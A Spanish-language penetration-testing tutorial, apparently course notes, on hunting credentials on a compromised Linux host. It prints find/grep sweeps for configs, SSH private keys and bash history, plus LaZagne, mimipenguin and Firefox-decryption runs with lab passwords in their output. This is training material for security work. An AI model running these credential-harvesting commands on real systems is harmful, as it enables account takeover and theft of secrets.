Credential Hunting
La búsqueda de credenciales es uno de los primeros pasos una vez que tenemos acceso al sistema. Estos frutos maduros pueden darnos privilegios elevados en cuestión de segundos o minutos. Entre otras cosas, esto es parte del proceso de escalada de privilegios local que cubriremos aquí. Sin embargo, es importante señalar aquí que estamos lejos de cubrir todas las situaciones posibles y por lo tanto nos centramos en los diferentes enfoques.
Podemos imaginar que hemos conseguido acceder a un sistema a través de una aplicación web vulnerable y, por lo tanto, hemos obtenido una shell inversa, por ejemplo. Por lo tanto, para escalar nuestros privilegios de la forma más eficiente, podemos buscar contraseñas o incluso credenciales completas que podamos utilizar para iniciar sesión en nuestro objetivo. Hay varias fuentes que pueden proporcionarnos credenciales que clasificamos en cuatro categorías.
Estas incluyen, pero no se limitan a:
Configs
Logs
Cache
Browser stored credentials
Databases
Command-line History
In-memory Processing
Notes
Scripts
Source codes
Cronjobs
SSH Keys
Enumerar todas estas categorías nos permitirá aumentar la probabilidad de averiguar con cierta facilidad las credenciales de los usuarios existentes en el sistema. Existen innumerables situaciones diferentes en las que siempre veremos resultados distintos. Por lo tanto, debemos adaptar nuestro enfoque a las circunstancias del entorno y tener en cuenta el panorama general. Sobre todo, es crucial tener en cuenta cómo funciona el sistema, su enfoque, para qué existe y qué papel desempeña en la lógica empresarial y en la red global.
Por ejemplo, supongamos que se trata de un servidor de base de datos aislado. En ese caso, no necesariamente encontraremos allí usuarios normales, ya que se trata de una interfaz sensible en la gestión de datos a la que sólo unas pocas personas tienen acceso.
Files
Un principio básico de Linux es que todo es un archivo. Por lo tanto, es crucial tener este concepto en mente y buscar, encontrar y filtrar los archivos apropiados según nuestros requisitos. Debemos buscar, encontrar e inspeccionar varias categorías de archivos uno por uno. Estas categorías son las siguientes:
Scripts
Cronjobs
SSH keys
Configuration Files
Los archivos de configuración son el núcleo de la funcionalidad de los servicios en las distribuciones Linux. A menudo contienen incluso credenciales que podremos leer. Su conocimiento también nos permite entender cómo funciona el servicio y sus requisitos con precisión. Normalmente, los archivos de configuración están marcados con las siguientes tres extensiones de archivo (.config, .conf, .cnf). Sin embargo, estos archivos de configuración o los archivos de extensión asociados pueden renombrarse, lo que significa que estas extensiones de archivo no son necesariamente necesarias. Además, incluso al recompilar un servicio, se puede cambiar el nombre de archivo requerido para la configuración básica, lo que tendría el mismo efecto. Sin embargo, este es un caso raro con el que no nos encontraremos a menudo, pero esta posibilidad no debe quedar fuera de nuestra búsqueda.
La parte más crucial de cualquier enumeración de un sistema es obtener una visión general del mismo. Por lo tanto, el primer paso debe ser encontrar todos los posibles archivos de configuración del sistema, que luego podremos examinar y analizar individualmente con más detalle. Hay muchos métodos para encontrar estos archivos de configuración, y con el siguiente método, veremos que hemos reducido nuestra búsqueda a estas tres extensiones de archivo.
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
cry0l1t3@unixclient:~$ for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
File extension: .conf
/run/tmpfiles.d/static-nodes.conf
/run/NetworkManager/resolv.conf
/run/NetworkManager/no-stub-resolv.conf
/run/NetworkManager/conf.d/10-globally-managed-devices.conf
...SNIP...
/etc/ltrace.conf
/etc/rygel.conf
/etc/ld.so.conf.d/x86_64-linux-gnu.conf
/etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
/etc/fprintd.conf
File extension: .config
/usr/src/linux-headers-5.13.0-27-generic/.config
/usr/src/linux-headers-5.11.0-27-generic/.config
/usr/src/linux-hwe-5.13-headers-5.13.0-27/tools/perf/Makefile.config
/usr/src/linux-hwe-5.13-headers-5.13.0-27/tools/power/acpi/Makefile.config
/usr/src/linux-hwe-5.11-headers-5.11.0-27/tools/perf/Makefile.config
/usr/src/linux-hwe-5.11-headers-5.11.0-27/tools/power/acpi/Makefile.config
/home/cry0l1t3/.config
/etc/X11/Xwrapper.config
/etc/manpath.config
File extension: .cnf
/etc/ssl/openssl.cnf
/etc/alternatives/my.cnf
/etc/mysql/my.cnf
/etc/mysql/debian.cnf
/etc/mysql/mysql.conf.d/mysqld.cnf
/etc/mysql/mysql.conf.d/mysql.cnf
/etc/mysql/mysql.cnf
/etc/mysql/conf.d/mysqldump.cnf
/etc/mysql/conf.d/mysql.cnf
Credentials in Configuration Files
Opcionalmente, podemos guardar el resultado en un archivo de texto y utilizarlo para examinar los archivos individuales uno tras otro. Otra opción es ejecutar el análisis directamente para cada archivo encontrado con la extensión especificada y mostrar el contenido. En este ejemplo, buscamos tres palabras (user, password, pass) en cada fichero con extensión .cnf.
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
cry0l1t3@unixclient:~$ for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
File: /snap/core18/2128/etc/ssl/openssl.cnf
challengePassword = A challenge password
File: /usr/share/ssl-cert/ssleay.cnf
File: /etc/ssl/openssl.cnf
challengePassword = A challenge password
File: /etc/alternatives/my.cnf
File: /etc/mysql/my.cnf
File: /etc/mysql/debian.cnf
File: /etc/mysql/mysql.conf.d/mysqld.cnf
user = mysql
File: /etc/mysql/mysql.conf.d/mysql.cnf
File: /etc/mysql/mysql.cnf
File: /etc/mysql/conf.d/mysqldump.cnf
File: /etc/mysql/conf.d/mysql.cnf
Databases
También podemos aplicar esta sencilla búsqueda a otras extensiones de archivo. Además, podemos aplicar este tipo de búsqueda a bases de datos almacenadas en archivos con diferentes extensiones de archivo, y luego podemos leerlas.
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
cry0l1t3@unixclient:~$ for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
DB File extension: .sql
DB File extension: .db
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db
DB File extension: .*db
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-card-database.tdb
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-device-volumes.tdb
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-stream-volumes.tdb
/home/cry0l1t3/.cache/tracker/meta.db
/home/cry0l1t3/.cache/tracker/ontologies.gvdb
DB File extension: .db*
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.dbus
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db-shm
/home/cry0l1t3/.cache/tracker/meta.db-wal
/home/cry0l1t3/.cache/tracker/meta.db
Notes
Dependiendo del entorno en el que nos encontremos y del propósito del host en el que estemos, a menudo podemos encontrar notas sobre procesos específicos del sistema. Éstas a menudo incluyen listas de diferentes puntos de acceso o incluso sus credenciales.
Sin embargo, a menudo es difícil encontrar notas de inmediato si están almacenadas en algún lugar del sistema y no en el escritorio o en sus subcarpetas. Esto se debe a que pueden llamarse como se quiera y no tienen por qué tener una extensión de archivo específica, como .txt. Por lo tanto, en este caso, tenemos que buscar archivos que incluyan la extensión de archivo .txt y archivos que no tengan ninguna extensión de archivo.
find /home/* -type f -name "*.txt" -o ! -name "*.*"
cry0l1t3@unixclient:~$ find /home/* -type f -name "*.txt" -o ! -name "*.*"
/home/cry0l1t3/.config/caja/desktop-metadata
/home/cry0l1t3/.config/clipit/clipitrc
/home/cry0l1t3/.config/dconf/user
/home/cry0l1t3/.mozilla/firefox/bh4w5vd0.default-esr/pkcs11.txt
/home/cry0l1t3/.mozilla/firefox/bh4w5vd0.default-esr/serviceworker.txt
...SNIP...
Scripts
Los scripts son archivos que a menudo contienen información y procesos altamente sensibles. Entre otras cosas, también contienen las credenciales necesarias para poder llamar y ejecutar los procesos automáticamente. De lo contrario, el administrador o desarrollador tendría que introducir la contraseña correspondiente cada vez que se llamara al script o al programa compilado.
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
cry0l1t3@unixclient:~$ for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
File extension: .py
File extension: .pyc
File extension: .pl
File extension: .go
File extension: .jar
File extension: .c
File extension: .sh
/snap/gnome-3-34-1804/72/etc/profile.d/vte-2.91.sh
/snap/gnome-3-34-1804/72/usr/bin/gettext.sh
/snap/core18/2128/etc/init.d/hwclock.sh
/snap/core18/2128/etc/wpa_supplicant/action_wpa.sh
/snap/core18/2128/etc/wpa_supplicant/functions.sh
...SNIP...
/etc/profile.d/xdg_dirs_desktop_session.sh
/etc/profile.d/cedilla-portuguese.sh
/etc/profile.d/im-config_wayland.sh
/etc/profile.d/vte-2.91.sh
/etc/profile.d/bash_completion.sh
/etc/profile.d/apps-bin-path.sh
Cronjobs
Cronjobs son ejecuciones independientes de comandos, programas, scripts. Se dividen en el área de todo el sistema (/etc/crontab) y ejecuciones dependientes del usuario. Algunas aplicaciones y scripts requieren credenciales para ejecutarse y, por lo tanto, se introducen incorrectamente en los cronjobs. Además, existen las áreas que se dividen en diferentes intervalos de tiempo (/etc/cron.daily, /etc/cron.hourly, /etc/cron.monthly, /etc/cron.weekly). Los scripts y archivos utilizados por cron también pueden encontrarse en /etc/cron.d/ para las distribuciones basadas en Debian.
cry0l1t3@unixclient:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
cry0l1t3@unixclient:~$ ls -la /etc/cron.*/
/etc/cron.d/:
total 28
drwxr-xr-x 1 root root 106 3. Jan 20:27 .
drwxr-xr-x 1 root root 5728 1. Feb 00:06 ..
-rw-r--r-- 1 root root 201 1. Mär 2021 e2scrub_all
-rw-r--r-- 1 root root 331 9. Jan 2021 geoipupdate
-rw-r--r-- 1 root root 607 25. Jan 2021 john
-rw-r--r-- 1 root root 589 14. Sep 2020 mdadm
-rw-r--r-- 1 root root 712 11. Mai 2020 php
-rw-r--r-- 1 root root 102 22. Feb 2021 .placeholder
-rw-r--r-- 1 root root 396 2. Feb 2021 sysstat
/etc/cron.daily/:
total 68
drwxr-xr-x 1 root root 252 6. Jan 16:24 .
drwxr-xr-x 1 root root 5728 1. Feb 00:06 ..
...SNIP...
SSH Keys
Las claves SSH pueden considerarse «tarjetas de acceso» al protocolo SSH utilizado para el mecanismo de autenticación de clave pública. Se genera un archivo para el cliente (clave privada) y otro correspondiente para el servidor (clave pública). Sin embargo, éstas no son iguales, por lo que conocer la clave pública es insuficiente para encontrar una clave privada. La clave pública puede verificar las firmas generadas por la clave privada SSH y permitir así el inicio de sesión automático en el servidor. Aunque personas no autorizadas se hagan con la clave pública, es casi imposible calcular la privada coincidente a partir de ella. Al conectarse al servidor utilizando la clave privada SSH, el servidor comprueba si la clave privada es válida y permite al cliente iniciar la sesión en consecuencia. Así, ya no se necesitan contraseñas para conectarse a través de SSH.
Como las claves SSH pueden tener nombres arbitrarios, no podemos buscar en ellas nombres concretos. Sin embargo, su formato nos permite identificarlas unívocamente porque, ya sean de clave pública o de clave privada, ambas tienen primeras líneas únicas para distinguirlas.
SSH Private Keys
cry0l1t3@unixclient:~$ grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
/home/cry0l1t3/.ssh/internal_db:1:-----BEGIN OPENSSH PRIVATE KEY-----
SSH Public Keys
cry0l1t3@unixclient:~$ grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
/home/cry0l1t3/.ssh/internal_db.pub:1:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCraK
History
Todos los archivos de historial proporcionan información crucial sobre el curso actual y pasado/histórico de los procesos. Nos interesan los archivos que almacenan el historial de comandos de los usuarios y los registros que almacenan información sobre los procesos del sistema.
En el historial de los comandos introducidos en las distribuciones de Linux que utilizan Bash como shell estándar, encontramos los archivos asociados en .bash_history. Sin embargo, otros archivos como .bashrc o .bash_profile pueden contener información importante.
Bash History
cry0l1t3@unixclient:~$ tail -n5 /home/*/.bash*
==> /home/cry0l1t3/.bash_history <==
vim ~/testing.txt
vim ~/testing.txt
chmod 755 /tmp/api.py
su
/tmp/api.py cry0l1t3 6mX4UP1eWH3HXK
==> /home/cry0l1t3/.bashrc <==
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
Logs
Un concepto esencial de los sistemas Linux son los archivos de registro que se almacenan en archivos de texto. Muchos programas, especialmente todos los servicios y el propio sistema, escriben este tipo de archivos. En ellos encontramos errores del sistema, detectamos problemas relacionados con los servicios o seguimos lo que el sistema está haciendo en segundo plano. La totalidad de los archivos de registro se puede dividir en cuatro categorías:
Application Logs
Event Logs
Service Logs
System Logs
Existen muchos registros diferentes en el sistema. Éstos pueden variar en función de las aplicaciones instaladas, pero he aquí algunos de los más importantes:
Log File
Description
/var/log/messages
Generic system activity logs.
/var/log/syslog
Generic system activity logs.
/var/log/auth.log
(Debian) All authentication related logs.
/var/log/secure
(RedHat/CentOS) All authentication related logs.
/var/log/boot.log
Booting information.
/var/log/dmesg
Hardware and drivers related information and logs.
/var/log/kern.log
Kernel related warnings, errors and logs.
/var/log/faillog
Failed login attempts.
/var/log/cron
Information related to cron jobs.
/var/log/mail.log
All mail server related logs.
/var/log/httpd
All Apache related logs.
/var/log/mysqld.log
All MySQL server related logs.
Cubrir el análisis de estos archivos de registro en detalle sería ineficaz en este caso. Así que en este punto, debemos familiarizarnos con los registros individuales, primero examinándolos manualmente y entendiendo sus formatos. Sin embargo, aquí hay algunas cadenas que podemos usar para encontrar contenido interesante en los registros:
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
cry0l1t3@unixclient:~$ for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
#### Log file: /var/log/dpkg.log.1
2022-01-10 17:57:41 install libssh-dev:amd64 <none> 0.9.5-1+deb11u1
2022-01-10 17:57:41 status half-installed libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status unpacked libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 configure libssh-dev:amd64 0.9.5-1+deb11u1 <none>
2022-01-10 17:57:41 status unpacked libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status half-configured libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status installed libssh-dev:amd64 0.9.5-1+deb11u1
...SNIP...
Memory and Cache
Mimipenguin
Muchas aplicaciones y procesos trabajan con credenciales necesarias para la autenticación y las almacenan en memoria o en archivos para poder reutilizarlas. Por ejemplo, pueden ser las credenciales requeridas por el sistema para los usuarios que inician sesión. Otro ejemplo son las credenciales almacenadas en los navegadores, que también pueden ser leídas. Para recuperar este tipo de información de las distribuciones Linux, existe una herramienta llamada mimipenguin que facilita todo el proceso. Sin embargo, esta herramienta requiere permisos de administrador/root.
cry0l1t3@unixclient:~$ sudo python3 mimipenguin.py
[sudo] password for cry0l1t3:
[SYSTEM - GNOME] cry0l1t3:WLpAEXFa0SbqOHY
cry0l1t3@unixclient:~$ sudo bash mimipenguin.sh
[sudo] password for cry0l1t3:
MimiPenguin Results:
[SYSTEM - GNOME] cry0l1t3:WLpAEXFa0SbqOHY
LaZagne
Una herramienta aún más potente que podemos utilizar y que se mencionó anteriormente en la sección Caza de credenciales en Windows es LaZagne. Esta herramienta nos permite acceder a muchos más recursos y extraer las credenciales. Las contraseñas y hashes que podemos obtener provienen de las siguientes fuentes pero no se limitan a:
Chromium-based
CLI
Mozilla
Thunderbird
Git
Env_variable
Grub
Fstab
AWS
Filezilla
Gftp
SSH
Apache
Shadow
Docker
KeePass
Mimipy
Sessions
Keyrings
Por ejemplo, los Keyrings
se utilizan para almacenar y gestionar de forma segura las contraseñas en las distribuciones Linux. Las contraseñas se almacenan encriptadas y protegidas con una contraseña maestra. Se trata de un gestor de contraseñas basado en el sistema operativo, del que hablaremos más adelante en otra sección. De esta forma, no necesitamos recordar todas y cada una de las contraseñas y podemos guardar entradas de contraseñas repetidas.
cry0l1t3@unixclient:~$ sudo python2.7 laZagne.py all
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
------------------- Shadow passwords -----------------
[+] Hash found !!!
Login: systemd-coredump
Hash: !!:18858::::::
[+] Hash found !!!
Login: sambauser
Hash: $6$wgK4tGq7Jepa.V0g$QkxvseL.xkC3jo682xhSGoXXOGcBwPLc2CrAPugD6PYXWQlBkiwwFs7x/fhI.8negiUSPqaWyv7wC8uwsWPrx1:18862:0:99999:7:::
[+] Password found !!!
Login: cry0l1t3
Password: WLpAEXFa0SbqOHY
[+] 3 passwords have been found.
For more information launch it again with the -v option
elapsed time = 3.50091600418
Browsers
Los navegadores almacenan las contraseñas guardadas por el usuario de forma cifrada localmente en el sistema para su reutilización. Por ejemplo, Mozilla Firefox almacena las credenciales cifradas en una carpeta oculta para el usuario correspondiente. Estas suelen incluir los nombres de campo, las URL y otra información valiosa.
Por ejemplo, al almacenar las credenciales de una página web en Firefox, estas se cifran y se almacenan en logins.json en el sistema. Sin embargo, esto no significa que estén seguras allí. Muchos empleados almacenan estos datos de inicio de sesión en su navegador sin sospechar que pueden descifrarse fácilmente y utilizarse en contra de la empresa.
Firefox Stored Credentials
cry0l1t3@unixclient:~$ ls -l .mozilla/firefox/ | grep default
drwx------ 11 cry0l1t3 cry0l1t3 4096 Jan 28 16:02 1bplpd86.default-release
drwx------ 2 cry0l1t3 cry0l1t3 4096 Jan 28 13:30 lfx3lvhb.default
cry0l1t3@unixclient:~$ cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .
{
"nextId": 2,
"logins": [
{
"id": 1,
"hostname": "https://www.inlanefreight.com",
"httpRealm": null,
"formSubmitURL": "https://www.inlanefreight.com",
"usernameField": "username",
"passwordField": "password",
"encryptedUsername": "MDoEEPgAAAA...SNIP...1liQiqBBAG/8/UpqwNlEPScm0uecyr",
"encryptedPassword": "MEIEEPgAAAA...SNIP...FrESc4A3OOBBiyS2HR98xsmlrMCRcX2T9Pm14PMp3bpmE=",
"guid": "{412629aa-4113-4ff9-befe-dd9b4ca388e2}",
"encType": 1,
"timeCreated": 1643373110869,
"timeLastUsed": 1643373110869,
"timePasswordChanged": 1643373110869,
"timesUsed": 1
}
],
"potentiallyVulnerablePasswords": [],
"dismissedBreachAlertsByLoginGUID": {},
"version": 3
}
La herramienta Firefox Decrypt
es excelente para descifrar estas credenciales y se actualiza periódicamente. Requiere Python 3.9 para ejecutar la última versión. De lo contrario, se debe usar Firefox Decrypt 0.7.0 con Python 2.
Decrypting Firefox Credentials
gzzcoo@htb[/htb]$ python3.9 firefox_decrypt.py
Select the Mozilla profile you wish to decrypt
1 -> lfx3lvhb.default
2 -> 1bplpd86.default-release
2
Website: https://testing.dev.inlanefreight.com
Username: 'test'
Password: 'test'
Website: https://www.inlanefreight.com
Username: 'cry0l1t3'
Password: 'FzXUxJemKm6g2lGh'
Normalmente es neceario disponer de los siguientes archivos:
key4.db
logins.json
python3 firepwd.py -d $(pwd)
Browsers - LaZagne
Alternativamente, LaZagne también puede devolver resultados si el usuario ha utilizado el navegador compatible.
cry0l1t3@unixclient:~$ python3 laZagne.py browsers
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
------------------- Firefox passwords -----------------
[+] Password found !!!
URL: https://testing.dev.inlanefreight.com
Login: test
Password: test
[+] Password found !!!
URL: https://www.inlanefreight.com
Login: cry0l1t3
Password: FzXUxJemKm6g2lGh
[+] 2 passwords have been found.
For more information launch it again with the -v option
elapsed time = 0.2310788631439209
Última actualización
¿Te fue útil?